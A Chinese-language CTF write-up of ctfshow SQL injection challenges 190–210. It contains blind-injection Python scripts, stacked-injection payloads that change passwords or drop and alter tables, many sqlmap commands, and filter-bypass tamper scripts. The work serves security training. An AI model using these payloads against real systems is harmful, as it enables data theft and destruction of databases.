因为确定一定包含ctfshow这个内容,所以通过load_file的返回值“\u67e5\u8be2\u5931\u8d25”判断是否存在,写个payload
LOAD_FILE(file_name): 读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。
regexp: mysql中的正则表达式操作符
import requestsurl = "http://cee6bd64-356e-4265-990f-90399a46aba2.challenge.ctf.show/api/" str = "0123456789abcdefghijklmnopqrstuvwxyz-{}" flag = "ctfshow{" payload="if(load_file('/var/www/html/api/index.php')regexp('{0}'),1,0)" for i in range (666 ): print (' 开始盲注第{}位' .format (i)) for j in str : data={ "username" :payload.format (flag + j), "password" :0 } res = requests.post(url,data) if r"\u67e5\u8be2\u5931\u8d25" in res.text: flag += j print (flag) break if j=='}' : print (' flag is {}' .format (flag)) exit()
测试如下:
POST: username=if (load_file('/var/www/html/api/index.php' )regexp('ctfshow{1' ),1,0)&password=1 return : \u5bc6\u7801\u9519\u8bef POST: username=if (load_file('/var/www/html/api/index.php' )regexp('ctfshow{5' ),1,0)&password=1 return : \u67e5\u8be2\u5931\u8d25
在本地测试flag:
# 指定的用户目录下的文件无法读取,if返回0 ,打印所有的非数字开头的用户 MariaDB [kali]> select * from user where username= if(load_file('/home/xiaodi/flag.txt' )regexp('ctfshow{' ),1 ,0 ); + | username | password | + | admin | asdasdfadfasfasdf | | user1 | safsdafsdfasfdsdfa | + 2 rows in set , 2 warnings (0.000 sec)# 读取具有一定权限的index.php文件,读取正确时if返回1 ,1 无法匹配用户名,返回空 MariaDB [kali]> select * from user where username= if(load_file('/var/www/html/index.php' )regexp('ctfshow{5' ),1 ,0 ); Empty set , 2 warnings (0.000 sec)
总结 正则表达式+load_file盲注。
load_file能读取index文件的内容,条件限制如下:
文件在服务器上
条件没有单双引号
被读取的文件拥有root权限
web190–(题目明写布尔盲注) 原始信息 查询语句
$sql = "select pass from ctfshow_user where username = '{$username} '" ;
返回逻辑
if (!is_numeric ($password )){ $ret ['msg' ]='密码只能为数字' ; die (json_encode ($ret )); } if ($row ['pass' ]==$password ){ $ret ['msg' ]='登陆成功' ; }
解题 本以为是那种十分严格的过滤,瞄了几眼别人说这是“经典布尔盲注”并且看到一句sql才明白这是之前盲注时遇到的情况。没过滤各种字符,那就是说可以随便注。
下面是随便写的脚本:
# coding= utf-8 import requests def getOrPostText(url,data): header = { 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36' , 'Content-Type' : 'application/x-www-form-urlencoded' } text = (requests.post(url, data= data, headers= header)).text.encode('gbk' ).decode('unicode_escape' ) if "密码错误" in text: return 1 else : return 0 def getUrl(url): ReStr1 = [chr(i) for i in range (32 ,127 )] ReStr2 = '0123456789abcdefghijklmnopqrstuvwxyz{}-,_' ReStr3 = '0123456789abcdefghijklmnopqrstuvwxyz_,-' # ctfshow_web sql1 = "admin'and(if(substring(database(),{},1)='{}',1,0))-- -" # ctfshow_fl0g,ctfshow_user sql2 = "admin'and(if(substring((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1)='{}',1,0))-- -" # id,f1ag sql3 = "admin'and(if(substring((select(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_fl0g')),{},1)='{}',1,0))#" # f1ag字段的内容 sql4 = "admin'and(if(substring((select(group_concat(f1ag))from(ctfshow_fl0g)),{},1)='{}',1,0))#" flag2 = 'ctfshow_fl0g,ctfsho' def miniFunction(sql ,ReStr,start = 1 ,end = 50 ,getContent= '' ): """ 直接获取目标内容 :param sql: 注入的sql语句 :param ReStr: 字符字典 :param start: 开始位置 :param end: 结束位置 :param getContent: 提示文本 :return: 没有返回,只有打印 """ flag = '' print('{:-^50}' .format(getContent)) for i in range (start , end ): t = 0 for j in ReStr: data = { "username": sql.format(i, j), "password": 0 } if getOrPostText(url, data) = = 1 : flag + = j if j = = "}": t= len(ReStr) print(flag) break t + = 1 if t = = len(ReStr): print(f"You have found the content: {flag}") break miniFunction(sql1,ReStr3,getContent= 'get database' ) miniFunction(sql2,ReStr3,getContent= 'get tables' ) miniFunction(sql3,ReStr3,getContent= 'get columns' ) miniFunction(sql4,ReStr2,getContent= 'get columns content' ) if __name__ = = '__main__' : url = "http://3ddc402d-adff-431f-a530-422d388bb901.challenge.ctf.show/api/" getUrl(url)
之所以说是经典,是因为这个注入一没过滤注释,二没过滤关键字,三没过滤空格,全部流程按照基本的sql注入流程走几乎没有任何问题。
仔细看上面脚本即可。
下面是结果,仅供参考:
-------------------get database------------------- c ct ctf ctfs ctfsh ctfsho ctfshow ctfshow_ ctfshow_w ctfshow_we ctfshow_web You have found the content: ctfshow_web --------------------get tables-------------------- c ct ctf ctfs ctfsh ctfsho ctfshow ctfshow_ ctfshow_f ctfshow_fl ctfshow_fl0 ctfshow_fl0g ctfshow_fl0g, ctfshow_fl0g,c ctfshow_fl0g,ct ctfshow_fl0g,ctf ctfshow_fl0g,ctfs ctfshow_fl0g,ctfsh ctfshow_fl0g,ctfsho ctfshow_fl0g,ctfshow ctfshow_fl0g,ctfshow_ ctfshow_fl0g,ctfshow_u ctfshow_fl0g,ctfshow_us ctfshow_fl0g,ctfshow_use ctfshow_fl0g,ctfshow_user You have found the content: ctfshow_fl0g,ctfshow_user -------------------get columns-------------------- i id id, id,f id,f1 id,f1a id,f1ag You have found the content: id,f1ag ---------------get columns content---------------- c ct ctf ctfs ctfsh ctfsho ctfshow ctfshow{ ctfshow{d ctfshow{df ctfshow{dff ctfshow{dff1 ctfshow{dff17 ctfshow{dff17b ctfshow{dff17b3 ctfshow{dff17b38 ctfshow{dff17b38- ctfshow{dff17b38-d ctfshow{dff17b38-dd ctfshow{dff17b38-dd8 ctfshow{dff17b38-dd81 ctfshow{dff17b38-dd81- ctfshow{dff17b38-dd81-4 ctfshow{dff17b38-dd81-43 ctfshow{dff17b38-dd81-43f ctfshow{dff17b38-dd81-43f6 ctfshow{dff17b38-dd81-43f6- ctfshow{dff17b38-dd81-43f6-8 ctfshow{dff17b38-dd81-43f6-82 ctfshow{dff17b38-dd81-43f6-82a ctfshow{dff17b38-dd81-43f6-82a8 ctfshow{dff17b38-dd81-43f6-82a8- ctfshow{dff17b38-dd81-43f6-82a8-a ctfshow{dff17b38-dd81-43f6-82a8-aa ctfshow{dff17b38-dd81-43f6-82a8-aaa ctfshow{dff17b38-dd81-43f6-82a8-aaa1 ctfshow{dff17b38-dd81-43f6-82a8-aaa1f ctfshow{dff17b38-dd81-43f6-82a8-aaa1fc ctfshow{dff17b38-dd81-43f6-82a8-aaa1fc6 ctfshow{dff17b38-dd81-43f6-82a8-aaa1fc65 ctfshow{dff17b38-dd81-43f6-82a8-aaa1fc65c ctfshow{dff17b38-dd81-43f6-82a8-aaa1fc65cc ctfshow{dff17b38-dd81-43f6-82a8-aaa1fc65ccf ctfshow{dff17b38-dd81-43f6-82a8-aaa1fc65ccfc ctfshow{dff17b38-dd81-43f6-82a8-aaa1fc65ccfc} You have found the content: ctfshow{dff17b38-dd81-43f6-82a8-aaa1fc65ccfc} ------------ ctfshow web 190 ------------
web191 原始信息 查询语句
$sql = "select pass from ctfshow_user where username = '{$username} '" ;
返回逻辑
if (!is_numeric ($password )){ $ret ['msg' ]='密码只能为数字' ; die (json_encode ($ret )); } if ($row ['pass' ]==$password ){ $ret ['msg' ]='登陆成功' ; } if (preg_match ('/file|into|ascii/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); }
解题 和web190用相同的脚本即可。用户名过滤但是不影响上面的脚本。
web192 原始信息 查询语句
$sql = "select pass from ctfshow_user where username = '{$username} '" ;
返回逻辑
if (!is_numeric ($password )){ $ret ['msg' ]='密码只能为数字' ; die (json_encode ($ret )); } if ($row ['pass' ]==$password ){ $ret ['msg' ]='登陆成功' ; } if (preg_match ('/file|into|ascii|ord|hex/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); }
解题 照着web190的脚本跑即可。
web193 原始信息 查询语句
$sql = "select pass from ctfshow_user where username = '{$username} '" ;
返回逻辑
if (!is_numeric ($password )){ $ret ['msg' ]='密码只能为数字' ; die (json_encode ($ret )); } if ($row ['pass' ]==$password ){ $ret ['msg' ]='登陆成功' ; } if (preg_match ('/file|into|ascii|ord|hex|substr/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); }
解题 这次过滤掉了截断函数了,需要找个替换掉
# 被过滤无法使用的: select substr('awd' 1 ,1 ) content;select substring ('awd' 1 ,1 ) content;# 没被过滤可以使用的: select mid('awd' 1 ,1 ) content;
所以修改下web190的脚本依旧能跑:
sql1 = "admin'and(if(mid(database(),{},1)='{}',1,0))#" sql2 = "admin'and(if(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1)='{}',1,0))-- -" sql3 = "admin'and(if(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_flxg')),{},1)='{}',1,0))#" sql4 = "admin'and(if(mid((select(group_concat(f1ag))from(ctfshow_flxg)),{},1)='{}',1,0))#" miniFunction (sql4,ReStr3,getContent='get column content' ,start=9 ,flag='ctfshow{' )
web194 原始信息 查询语句
$sql = "select pass from ctfshow_user where username = '{$username} '" ;
返回逻辑
if (!is_numeric ($password )){ $ret ['msg' ]='密码只能为数字' ; die (json_encode ($ret )); } if ($row ['pass' ]==$password ){ $ret ['msg' ]='登陆成功' ; } if (preg_match ('/file|into|ascii|ord|hex|substr|char|left|right|substring/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); }
解题 没有过滤mid,继续使用上面的脚本。
web195–(明写堆叠注入) 原始信息 查询语句
$sql = "select pass from ctfshow_user where username = {$username} ;" ;
返回逻辑
if (!is_numeric ($password )){ $ret ['msg' ]='密码只能为数字' ; die (json_encode ($ret )); } if ($row ['pass' ]==$password ){ $ret ['msg' ]='登陆成功' ; } if (preg_match ('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); } if ($row [0 ]==$password ){ $ret ['msg' ]="登陆成功 flag is $flag " ; }
解题 百闻不如一见,长见识了。使用堆叠注入修改密码,再登录账户得到flag。
payload如下:
POST: 0 ;update `ctfshow_user`set `pass`= 0x31333134
输入账户密码登录即可获得flag:
收获 update可以用于堆叠注入修改指定用户的密码。
web196 原始信息 查询语句
$sql = "select pass from ctfshow_user where username = {$username} ;" ;
返回逻辑
if (preg_match ('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); } if (strlen ($username )>16 ){ $ret ['msg' ]='用户名不能超过16个字符' ; die (json_encode ($ret )); } if ($row [0 ]==$password ){ $ret ['msg' ]="登陆成功 flag is $flag " ; }
解题 方法1 不知道为什么,使用了select限制我们的输入,但还是能使用select输入……
具体使用select的原因是:
select pass from ctfshow_user where username= 1 ;select (0 );
现在的payload如下:
登录后得到flag。
方法2 这个是官方的payload,意思是这样的:
使用之前泄露的密码 passwordAUTO
去登录即可:
username: 0 password: passwordAUTO
web197 原始信息 查询语句
$sql = "select pass from ctfshow_user where username = {$username} ;" ;
返回逻辑
if ('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); } if ($row [0 ]==$password ){ $ret ['msg' ]="登陆成功 flag is $flag " ; }
解题 方法1 卡bug式的取flag 对比下正则表达式:
/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\ /\*|\ /\*|\
看到第一个wp,卡官方bug了属于是:
username: 0 ;show tables password: ctfshow_user
利用的是官方只有一个table的情况创造新登陆密码的。
而另外一个,则是:
1 ;alter table `ctfshow_user` change `pass` `feng` varchar (255 ); alter table `ctfshow_user` change `id` `pass` varchar (255 )
更新字段 pass
为 pass
, 更新 字段 id
为 pass
,巧夺天工的操作了属于是……
方法2 默认泄露的账密登录 这个和上面的题目一样。
username: 0 password: passwordAUTO
方法3 删除表+创建表+插入数据 大致内容如下:在用户名处删除表,创建表,插入表。
0 ;drop table ctfshow_user;create table ctfshow_user(`username` varchar (100 ),`pass` varchar (100 ));insert ctfshow_user(`username`,`pass`)value (1 ,2 )
那么对应的payload如下:
username: 0 ;drop table ctfshow_user;create table ctfshow_user(`username` varchar (100 ),`pass` varchar (100 ));insert ctfshow_user(`username`,`pass`)value (1 ,2 ) password: 123
这是对应的第一次变更表,然后使用这样子进行登录:
web198 原始信息 查询语句
$sql = "select pass from ctfshow_user where username = {$username} ;" ;
返回逻辑
if ('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); } if ($row [0 ]==$password ){ $ret ['msg' ]="登陆成功 flag is $flag " ; }
解题 方法1 非预期show和泄密账户登录 show的方式
username:0 ;show tables password:ctfshow_user
泄密账户的方式
username:0 password:passwordAUTO
方法2 直接插入账密获取flag 上道题目有一种方法是忽略init直接插入数据,这个当然也是可以的。或者说,插入新的账户密码就能获取flag。
username: 0 ;insert ctfshow_user (`username`,`pass`)value (55 ,56 ) password: 0 # 插入完成后使用这种方式进行登录 username: 55 password: 56
方法3 修改字段名 目的是交换下 username
和 pass
.
alter table ctfshow_user change `username` `pass2` varchar (100 );alter table ctfshow_user change `pass` `username` varchar (100 );alter table ctfshow_user change `pass2` `pass` varchar (100 );
对应的payload如下:
username: 0 ;alter table ctfshow_user change `username` `pass2` varchar (100 );alter table ctfshow_user change `pass` `username` varchar (100 );alter table ctfshow_user change `pass2` `pass` varchar (100 ) password: 0 # 实现username字段和pass字段互相交换后,可以利用已经泄露的用户名进行登录 # 注意,交换后用户名就是密码,密码就是用户名 username: 0 password: userAUTO # 这个是前期泄露的用户名
web199 原始信息 查询语句
$sql = "select pass from ctfshow_user where username = {$username} ;" ;
返回逻辑
if ('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); } if ($row [0 ]==$password ){ $ret ['msg' ]="登陆成功 flag is $flag " ; }
解题 这次过滤了非常关键的 (
,但是某些非预期的操作依然行得通。
方法1 非预期show和泄密账户登录 show的方式
username:0 ;show tables password:ctfshow_user
泄密账户的方式
username:0 password:passwordAUTO
方法2 修改字段名 由于括号被限制了,使用数据类型 text
去代替原本的 varchar(100)
,绕过对括号的限制。
稍微修改上面payload即可:
username: 0 ;alter table ctfshow_user change `username` `pass2` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `pass2` `pass` text password: 0 # 实现username字段和pass字段互相交换后,可以利用已经泄露的用户名进行登录 # 注意,交换后用户名就是密码,密码就是用户名 username: 0 password: userAUTO # 这个是前期泄露的用户名
总结 无括号的 sql
数据类型: text
.
web200 原始信息 查询语句
$sql = "select pass from ctfshow_user where username = {$username} ;" ;
返回逻辑
if ('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(|\,/i' , $username )){ $ret ['msg' ]='用户名非法' ; die (json_encode ($ret )); } if ($row [0 ]==$password ){ $ret ['msg' ]="登陆成功 flag is $flag " ; }
解题 过滤增加了个括号,可以使用上面一题的payload。
方法1 非预期show和泄密账户登录 show的方式
username:0 ;show tables password:ctfshow_user
泄密账户的方式
username:0 password:passwordAUTO
方法2 修改字段名 username: 0 ;alter table ctfshow_user change `username` `pass2` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `pass2` `pass` text password: 0 # 实现username字段和pass字段互相交换后,可以利用已经泄露的用户名进行登录 # 注意,交换后用户名就是密码,密码就是用户名 username: 0 password: userAUTO # 这个是前期泄露的用户名
web201–sqlmap 原始信息 sqlmap最新版下载
使用–user-agent 指定agent
使用–referer 绕过referer检查
难度系数
查询语句
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '" .$_GET ['id' ]."';" ;
返回逻辑
解题 题目提示了两个参数,测试后对应的sqlmap命令是这样的:
sqlmap -u "http://xxxx.ctf.show/api/?id=1&page=1&limit=10" --user-agent=sqlmap --referer=ctf.show
如果想要进一步测试参数可以修改为:
sqlmap -u "http://xxxx.ctf.show/api/?id=1&page=1&limit=10" -p id --dbs --user-agent=sqlmap --referer=ctf.show
指定ip这个参数去爆破的意思,爆破数据库库名。
下面是完整的,爆破库、表、列值:
sqlmap -u "http://29c993d5-706b-4205-8ada-11dd3f81deef.challenge.ctf.show/api/?id=1&page=1&limit=10" -p id -D ctfshow_web -T ctfshow_user -C pass --dump --user-agent=sqlmap --referer=ctf.show
把参数稍微分割下就是:
sqlmap -u "http://29c993d5-706b-4205-8ada-11dd3f81deef.challenge.ctf.show/api/?id=1&page=1&limit=10" -p id -D ctfshow_web -T ctfshow_user -C pass --dump --user-agent=sqlmap --referer=ctf.show
同样的,可以使用python的其它脚本进行爆破,但是这题的考点是sqlmap,推荐使用吧。
web202 原始信息 sqlmap最新版下载
使用–data 调整sqlmap的请求方式
查询语句
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '" .$_GET ['id' ]."';" ;
返回逻辑
解题 同样是sqlmap,两种处理方式:
方法1 BP截取下POST数据包:
POST /api/ HTTP/1.1 Host: a8e49a84-6eb2-4340-beea-4a6855277ad2.challenge.ctf.show User-Agent: sqlmap Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 20 Origin: http://a8e49a84-6eb2-4340-beea-4a6855277ad2.challenge.ctf.show Connection: close Referer: ctf.show Upgrade-Insecure-Requests: 1 id =1&page=1&limit =10
使用sqlmap一把梭:
┌──(kali㉿kali)-[~] └─$ sqlmap -r post.txt -p id -D ctfshow_web -T ctfshow_user --dump --referer=ctf.show --user-agent=sqlmap
方法2 sqlmap -u "http://xxx.xxx.xxx/api" --data "id=1" -p id -D ctfshow_web -T ctfshow_user --dump --referer=ctf.show --user-agent=sqlmap
还有一种办法是自己写脚本。
多了:
web203 原始信息 sqlmap最新版下载
使用–method 调整sqlmap的请求方式
查询语句
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '" .$_GET ['id' ]."';" ;
返回逻辑
解题 使用sqlmap进行爆破,相比于上面的请求方式,需要添加两个新的方法:
--header=Content-Type:text/plain --metnod=PUT
整合为一句SQLmap就是:
┌──(kali㉿kali)-[~] └─$ sqlmap -u "http://0b07b09a-9785-4cac-a039-53f1e8295f08.challenge.ctf.show/api/index.php" --data "id=1" --method=PUT --header=Content-Type:text/plain --user-agent=sqlmap --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump
web204 原始信息 sqlmap最新版下载
使用–cookie 提交cookie数据
查询语句
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '" .$_GET ['id' ]."';" ;
返回逻辑
解题 这道题目提示的是cookie,需要在浏览器打开题目后F12查看当前网页的cookie是什么,然后放入参数。下面是参考payload:
sqlmap -u "http://0f335128-02ea-429c-af84-331cace9914f.challenge.ctf.show/api/index.php" --data "id=1" --referer=ctf.show --method=PUT --user-agent=sqlmap --cookie="ctfshow=3e4c54cd5f517bba55ffaddfdce4fb81;PHPSESSID=hhj55l030o8mt315pl3aj31b7c" --header=Content-Type:text/plain -D ctfshow_web -T ctfshow_user --dump
拆解:
sqlmap -u "http://0f335128-02ea-429c-af84-331cace9914f.challenge.ctf.show/api/index.php" --data "id=1" --referer=ctf.show --method=PUT --user-agent=sqlmap --cookie="ctfshow=3e4c54cd5f517bba55ffaddfdce4fb81;PHPSESSID=hhj55l030o8mt315pl3aj31b7c" --header=Content-Type:text/plain -D ctfshow_web -T ctfshow_user --dump
多了:
--cookie="ctfshow=3e4c54cd5f517bba55ffaddfdce4fb81;PHPSESSID=hhj55l030o8mt315pl3aj31b7c"
web205 原始信息 sqlmap最新版下载
api调用需要鉴权
查询语句
$sql = "select id,username,password from ctfshow_user where id = '" .$_GET ['id' ]."';" ;
返回逻辑
解题 对应的payload:
sqlmap -u "http://6b7926c1-8d39-4a2d-87b7-84b9f0513639.challenge.ctf.show/api/index.php" --data "id=1" --safe-url="http://6b7926c1-8d39-4a2d-87b7-84b9f0513639.challenge.ctf.show/api/getToken.php" --safe-freq=1 --referer=ctf.show --method=PUT --user-agent=sqlmap --cookie="PHPSESSID=kf2gjjekolf3p2pv5ocg8cphfi" --header=Content-Type:text/plain -D ctfshow_web -T ctfshow_flax --dump
拆解:
sqlmap -u "http://6b7926c1-8d39-4a2d-87b7-84b9f0513639.challenge.ctf.show/api/index.php" --data "id=1" --safe-url="http://6b7926c1-8d39-4a2d-87b7-84b9f0513639.challenge.ctf.show/api/getToken.php" --safe-freq=1 --referer=ctf.show --method=PUT --user-agent=sqlmap --cookie="PHPSESSID=kf2gjjekolf3p2pv5ocg8cphfi" --header=Content-Type:text/plain -D ctfshow_web -T ctfshow_flax --dump
多了:
--safe-url="http://6b7926c1-8d39-4a2d-87b7-84b9f0513639.challenge.ctf.show/api/getToken.php" --safe-freq=1
web206 原始信息 sqlmap最新版下载
sql需要闭合
查询语句
$sql = "select id,username,pass from ctfshow_user where id = ('" .$id ."') limit 0,1;" ;
返回逻辑
解题 这次是sql注入的语句变了。
给它设置了单引号和括号作为限制,这次的注入如下:
sqlmap -u "http://ccf647f6-d7b8-4b99-b851-2b4ca36c1c41.challenge.ctf.show/api/index.php" --data="id=1" -p id --referer=ctf.show --user-agent=sqlmap --method=PUT --safe-url="http://ccf647f6-d7b8-4b99-b851-2b4ca36c1c41.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=oc1jea9u755ggv85tnqcf453pp" --header=Content-Type:text/plain --prefix="')" --suffix="#" -D ctfshow_web -T ctfshow_flaxc --dump
拆解:
sqlmap -u "http://ccf647f6-d7b8-4b99-b851-2b4ca36c1c41.challenge.ctf.show/api/index.php" --data="id=1" -p id --referer=ctf.show --user-agent=sqlmap --method=PUT --safe-url="http://ccf647f6-d7b8-4b99-b851-2b4ca36c1c41.challenge.ctf.show/api/getToken.php" --safe-freq=1 - -cookie="PHPSESSID=oc1jea9u755ggv85tnqcf453pp" --header=Content-Type:text/plain --prefix="')" --suffix="#" -D ctfshow_web -T ctfshow_flaxc --dump
新增的参数:
--prefix="'')" --suffix="#"
注:基本上是先查表,再查值,不是凭空有表的。
可以使用 -D ctfshow_web --tables
查出表。
web207 原始信息 sqlmap最新版下载
–tamper 的初体验
查询语句
$sql = "select id,username,pass from ctfshow_user where id = ('" .$id ."') limit 0,1;" ;
返回逻辑
function waf ($str ) { return preg_match ('/ /' , $str ); }
解题 空格被过滤了,调用插件进行绕过。
--temper
是用来调用插件的。
sqlmap -u "http://62d55dbf-5237-4ab5-ad5a-031a7158681e.challenge.ctf.show/api/index.php" --data="id=1" -p id --referer=ctf.show --user-agent=sqlmap --method=PUT --safe-url="http://62d55dbf-5237-4ab5-ad5a-031a7158681e.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=nefcc5lecojdi2lt0tmmhb82g3" --header=Content-Type:text/plain --prefix="')" --suffix="#" --tamper=space2comment -D ctfshow_web -T ctfshow_flaxca --dump
拆解:
sqlmap -u "http://62d55dbf-5237-4ab5-ad5a-031a7158681e.challenge.ctf.show/api/index.php" --data="id=1" -p id --referer=ctf.show --user-agent=sqlmap --method=PUT --safe-url="http://62d55dbf-5237-4ab5-ad5a-031a7158681e.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=nefcc5lecojdi2lt0tmmhb82g3" --header=Content-Type:text/plain --prefix="')" --suffix="#" --tamper=space2comment -D ctfshow_web -T ctfshow_flaxca --dump
其中,指定的是绕过空格限制的插件:
web208 原始信息 查询语句
$sql = "select id,username,pass from ctfshow_user where id = ('" .$id ."') limit 0,1;" ;
返回逻辑
function waf ($str ) { return preg_match ('/ /' , $str ); }
解题 过滤空格+过滤关键字(双写过滤或者大小写过滤)
sqlmap -u "http://560f987c-694e-4b8a-987b-7a47b192df74.challenge.ctf.show/api/index.php" --data='id=1' -p id --referer=ctf.show --user-agent=sqlmap --method=PUT --safe-url="http://560f987c-694e-4b8a-987b-7a47b192df74.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=7fougrt46og3k2k6mms0rj7ru4" --header=Content-Type:text/plain --prefix="')" --suffix="#" --tamper=randomcase,space2comment -D ctfshow_web -T ctfshow_flaxcac --dump
拆解如下:
sqlmap -u "http://560f987c-694e-4b8a-987b-7a47b192df74.challenge.ctf.show/api/index.php" --data='id=1' -p id --referer=ctf.show --user-agent=sqlmap --method=PUT --safe-url="http://560f987c-694e-4b8a-987b-7a47b192df74.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=7fougrt46og3k2k6mms0rj7ru4" --header=Content-Type:text/plain --prefix="')" --suffix="#" --tamper=randomcase,space2comment -D ctfshow_web -T ctfshow_flaxcac --dump
如果是双写绕过,就必须得自己去写一个脚本。自带脚本中没符合条件的脚本。
web209 原始信息 sqlmap最新版下载
–tamper 的3体验
查询语句
$sql = "select id,username,pass from ctfshow_user where id = '" .$id ."' limit 0,1;" ;
返回逻辑
function waf ($str ) { return preg_match ('/ |\*|\=/' , $str ); }
解题 原本的过滤空格的脚本不能用了,并且得注意*和=这两种字符限制。
sqlmap -u "http://c1c8f6d0-6da8-4e2b-80be-552e0ef987d6.challenge.ctf.show/api/index.php" --data "id=1" -p id --referer "ctf.show" --user-agent "sqlmap" --method=PUT --header "Content-Type: text/plain" --safe-url="http://c1c8f6d0-6da8-4e2b-80be-552e0ef987d6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=p5iu0fer20qehd9h13qehcqs4d" --thread=10 --tamper "doubleSelect2" -D ctfshow_web -T ctfshow_flav --dump
拆解如下:
sqlmap -u "http://c1c8f6d0-6da8-4e2b-80be-552e0ef987d6.challenge.ctf.show/api/index.php" --data "id=1" -p id --referer "ctf.show" --user-agent "sqlmap" --method=PUT --header "Content-Type: text/plain" --safe-url="http://c1c8f6d0-6da8-4e2b-80be-552e0ef987d6.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=p5iu0fer20qehd9h13qehcqs4d" --thread=10 --tamper "doubleSelect2" -D ctfshow_web -T ctfshow_flav --dump
而doubleSelect2的插件内容如下:
""" Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.compat import xrangefrom lib.core.enums import PRIORITY__priority__ = PRIORITY.LOW def dependencies (): pass def tamper (payload, **kwargs ): retVal = payload if payload: retVal = retVal.replace(' ' ,chr (0x0a )) retVal = retVal.replace('=' ,chr (0x0a )+'like' +chr (0x0a )) return retVal
这次没有指定过滤select了。
脚本2–其它博主的插件 上面是脚本1,这个是取自其它博主的插件脚本:
""" Author:孤桜懶契 """ from lib.core.compat import xrangefrom lib.core.enums import PRIORITYfrom lib.core.common import singleTimeWarnMessagefrom lib.core.enums import DBMS__priority__ = PRIORITY.LOW def dependencies (): singleTimeWarnMessage("By孤桜懶契-空格替换制表符0x09,=号换like" ) def tamper (payload, **kwargs ): payload = space2comment(payload) return payload def space2comment (payload ): retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False , False , False for i in xrange(len (payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += chr (0x09 ) continue elif payload[i] == '\'' : quote = not quote elif payload[i] == '"' : doublequote = not doublequote elif payload[i] == '=' : retVal += chr (0x09 ) + 'like' + chr (0x09 ) continue elif payload[i] == "*" : retVal += chr (0x31 ) continue elif payload[i] == " " and not doublequote and not quote: retVal += chr (0x09 ) continue retVal += payload[i] return retVal
具体过滤绕过方式/限制方式 chr (0x0a ) chr (0x09 ) chr (0x09 )+'like' +chr (0x09 )
web210 原始信息 sqlmap最新版下载
–tamper 的4体验
查询语句
$sql = "select id,username,pass from ctfshow_user where id = '" .$id ."' limit 0,1;" ;
返回逻辑
function decode ($id ) { return strrev (base64_decode (strrev (base64_decode ($id )))); }
解题 解题如下:
sqlmap -u "http://c1239d77-cd27-4386-94b2-464bf63b1a89.challenge.ctf.show/api/index.php" --referer "ctf.show" --user-agent "sqlmap" --header "Content-Type: text/plain" --tamper "doubleSelect3" --safe-url "http://c1239d77-cd27-4386-94b2-464bf63b1a89.challenge.ctf.show/api/getToken.php" --cookie "PHPSESSID=p99bbqmls2uh7dr1eukpmda12e" --method "PUT" --data "id=1" -p id --thread=10 --safe-freq=1 -D ctfshow_web -T ctfshow_flavi --dump
拆解如下:
sqlmap -u "http://c1239d77-cd27-4386-94b2-464bf63b1a89.challenge.ctf.show/api/index.php" --referer "ctf.show" --user-agent "sqlmap" --header "Content-Type: text/plain" --tamper "doubleSelect3" --safe-url "http://c1239d77-cd27-4386-94b2-464bf63b1a89.challenge.ctf.show/api/getToken.php" --cookie "PHPSESSID=p99bbqmls2uh7dr1eukpmda12e" --method "PUT" --data "id=1" -p id --thread=10 --safe-freq=1 -D ctfshow_web -T ctfshow_flavi --dump
对应的插件 doubleSelect3
内容:
